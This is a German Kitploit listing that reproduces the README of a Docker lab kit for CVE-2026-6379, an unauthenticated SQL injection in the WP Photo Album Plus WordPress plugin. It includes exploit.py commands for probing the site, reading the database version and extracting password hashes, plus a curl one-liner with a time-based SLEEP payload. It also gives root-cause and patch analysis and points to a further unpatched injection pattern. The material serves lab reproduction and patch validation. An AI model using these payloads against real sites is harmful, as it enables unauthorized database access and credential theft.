Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-6379 — # Docker-basiertes Lab-Kit für CVE-2026-6379, eine nicht authentifizierte SQL-Injection in WP Photo Album Plus. Enthält zeitbasiertes Blind-PoC, Root-Cause-Analyse und Patch-Validierung für autorisierte Sicherheitsforschung. | Kitploit
Tools/GitHubGitHub/dinosn/cve-2026-6379
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitCTFPenetrationstestsLernen & BildungLabs & Praxis
GitHubdinosn/cve-2026-6379

cve-2026-6379

# Docker-basiertes Lab-Kit für CVE-2026-6379, eine nicht authentifizierte SQL-Injection in WP Photo Album Plus. Enthält zeitbasiertes Blind-PoC, Root-Cause-Analyse und Patch-Validierung für autorisierte Sicherheitsforschung.

Repository anzeigen
7vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-6379 — WP Photo Album Plus < 9.1.11.001 — Nicht authentifizierte SQL-Injection

Parameter: wppa-supersearch Schweregrad: CVSS 8.6 (hoch) laut WPScan/Wordfence Hersteller-Fix: 2026-04-17 (Commit d2b0d05d im WordPressBugBounty-Mirror) Öffentliche Offenlegung: 2026-04-27 (WPScan)

Dieses Kit enthält ein eigenständiges Docker-Labor und einen funktionierenden PoC, damit du den Fehler Ende-zu-Ende reproduzieren, validieren und vermitteln kannst.


TL;DR

root@kitploit:~
# Auf dem Labor-Host:
cd lab && ./setup.sh
# Wenn der Installer "=== LAB READY ===" mit einer page_id ausgibt:
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe-calendar
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode version
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode hash

Ein verwundbares Ziel antwortet in auf den SLEEP-Probe; ein gepatchtes Ziel antwortet in .

~5s
<1s

Manueller Einzeiler-Check:

root@kitploit:~
curl -sS -o /dev/null -w "%{time_total}\n" \
  "http://<host>:8080/?page_id=<id>&wppa-occur=1&wppa-supersearch=,o,,x%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))A)--%20-"

Aufbau

root@kitploit:~
cve-2026-6379-wppa/
├── README.md                  # diese Datei
├── docs/
│   ├── writeup.md             # Root-Cause- und Patch-Analyse
│   └── prompts.md             # KI-Recherche-Prompts, die dieses Kit destilliert haben
├── lab/
│   ├── docker-compose.yml     # WordPress 6.5 + MySQL 8 + WPPA+ 9.1.10.011
│   ├── setup.sh               # Start / Stopp / Bereinigung
│   └── init/install.sh        # idempotenter Installer (wp-cli)
└── pocs/
    ├── exploit.py             # zeitbasierte Blind-SQLi (probe / version / user / hash)
    └── test_oracle.sh         # Ende-zu-Ende-Integrationstest

Wie der Fehler funktioniert (ein Absatz)

wppa_get_photos() parst den Request-Parameter wppa-supersearch als CSV s1,type,s3,DATA. Wenn type='o' (Owner), wird DATA direkt in einen SQL-String konkateniert:

root@kitploit:~
$query = "SELECT id FROM $wpdb->wppa_photos
          WHERE owner = '" . $data . "' AND album > 0 ORDER BY $order";

Kein Quoting, kein $wpdb->prepare. Das Setzen von wppa-supersearch=,o,,x' OR (...)-- - entkommt dem gequoteten Owner und führt beliebiges SQL aus. Der Endpunkt ist die öffentliche Frontend-Seite, die den [wppa]-Shortcode hostet, daher ist keine Authentifizierung erforderlich.

Der Fix umschließt jeden zuvor konkatenierten Fall mit $wpdb->prepare(..., %s).


Durch denselben Patch behobene Sinks (Commit d2b0d05d)

Der CVE-2026-6379-Patch schreibt sechs verschiedene SQL-Sinks innerhalb von wppa_get_photos() in wppa-functions.php neu. Beide PoC-Modi (probe und probe-calendar) treffen unabhängige Sinks; die anderen unterscheiden sich nur in der Payload-Form. Alle sind nicht authentifiziert und über dasselbe wppa-occur=N-Gating wie der primäre Sink erreichbar.

#Sink (verwundbare Zeile)Trigger-ParameterPoC-Modus
1owner — WHERE owner = '$data' (Zeile 1244)wppa-supersearch=,o,,…--mode probe (live validiert)
2name — WHERE sname = '<wppa_name_slug($data)>' (Zeile 1237)wppa-supersearch=,n,,…nicht ausgenutzt (Slug-Filter entfernt Quotes)
3tag — WHERE tags LIKE '%$d%' (Zeile 1254)wppa-supersearch=,g,,…durch wppa_sanitize_tags() eingeschränkt
4Kalender exifdtm — WHERE exifdtm LIKE '<wp_strip_all_tags($caldate)>%' (Zeile 1361)wppa-calendar=exifdtm&wppa-caldate=…--mode probe-calendar (live validiert)
5Kalender timestamp — WHERE timestamp >= $t1 AND timestamp < $t2 (Zeile 1368)wppa-calendar=timestamp&wppa-caldate=…numerische Umwandlung (intval) — begrenzt
6Kalender modified — wie timestamp (Zeile 1375)wppa-calendar=modified&wppa-caldate=…numerische Umwandlung — begrenzt

Die Zeilen #4–#6 entfernten im selben Commit auch ein verwaistes ORDER BY $order-Fragment — siehe „Zugehörige Härtung" unten.


Im Zusammenhang mit CVE-2026-6379 gefundene verwandte Probleme

Eine breitere Prüfung von wppa-functions.php gegen denselben verwundbaren Build brachte Sinks außerhalb des CVE-2026-6379-Patches ans Licht. Sie sind nicht das, was WPScan/Wordfence veröffentlicht hat, und nicht alle sind gleichermaßen ausnutzbar, aber sie sind hier dokumentiert, damit das Labor auch für die Jagd nach Varianten nützlich ist.

stripslashes( $wpdb->prepare( ... IN (%s) ... ) ) — wahrscheinlich separate Schwachstelle

Status: in 9.1.11.001 vorhanden (nach dem Patch). Nicht durch d2b0d05d behoben. Kandidat für ein Folge-CVE.

%s ist für eine kommagetrennte IN-Liste nicht gültig (es erzeugt immer einen einzelnen gequoteten String). Das Plugin umgeht das, indem es das vorbereitete Statement in stripslashes() einwickelt, was genau das Escaping entfernt, das prepare() gerade hinzugefügt hat — wodurch die Injection wieder geöffnet wird, wenn ein Listenelement vom Angreifer kontaminiert ist.

Repräsentative Vorkommen: wppa-functions.php Zeilen 660, 711, 831, 838, 889, 895, 900, 971, 1028, 1034, 1041, 1122, 1144, 1190, 1410, 1414, 1465, 1470, 1476, 1481, 1491.

Suchabfrage für die Variantenanalyse:

root@kitploit:~
docker exec cve26-6379-wp grep -n "stripslashes( \$wpdb->prepare" \
  /var/www/html/wp-content/plugins/wp-photo-album-plus/wppa-functions.php

ORDER BY $order — teilweise behoben

Der Patch entfernte ORDER BY $order aus den Kalender-/IN-Klausel-Sinks, ließ es aber in anderen. $order wird aus dem Plugin-Laufzeitzustand (Einstellungstabelle) gesetzt — die Ausnutzbarkeit erfordert einen Schreibpfad in diesen Zustand. Als Härtung betrachten.

wp_strip_all_tags() als SQL-Sanitizer verwendet (Variante von #4)

wp_strip_all_tags entfernt HTML, nicht SQL. Wo immer es um ein gequotetes SQL-Fragment herum erscheint, ist dieses Fragment injizierbar. Über caldate hinaus jeden anderen Request-Wert prüfen, der vor der Konkatenation durch diese Funktion fließt.


Validierungsmatrix

Zustandprobeprobe-calendar
Verwundbar (9.1.10.011)[+] VULNERABLE — ~5.0s ≥ 3.5s[+] VULNERABLE — ~5.0s ≥ 3.5s
Gepatcht (9.1.11.001)[-] Not confirmed — ~0.04s[-] Not confirmed — ~0.04s
Plugin deaktiviert[-] Not confirmed — ~0.04s[-] Not confirmed — ~0.04s
Seite ohne [wppa]-Shortcode[-] Not confirmed — ~0.04s[-] Not confirmed — ~0.04s

Versionen auf einem laufenden Labor wechseln:

root@kitploit:~
# Gepatcht:
docker exec cve26-6379-wp wp --path=/var/www/html --allow-root \
  plugin install wp-photo-album-plus --version=9.1.11.001 --force --activate \
  --allow-root || true
# Probe erneut ausführen; sollte negativ sein.

Sicherheit

  • Nur in einem isolierten Netzwerk ausführen. Der Fehler ist nicht authentifiziert.
  • Das Labor verwendet Standard-WP-Zugangsdaten admin / adminadmin — niemals dem Internet aussetzen.
  • Mit ./setup.sh purge herunterfahren (löscht das Datenbank-Volume).

Referenz

  • WPScan: https://wpscan.com/plugin/wp-photo-album-plus/
  • Patch-Commit: https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/commit/d2b0d05d
  • wppa-functions.php (verwundbar): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/2d8c2f64/wp-photo-album-plus/wppa-functions.php
  • wppa-functions.php (gepatcht): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/d2b0d05d/wp-photo-album-plus/wppa-functions.php
Tool herunterladen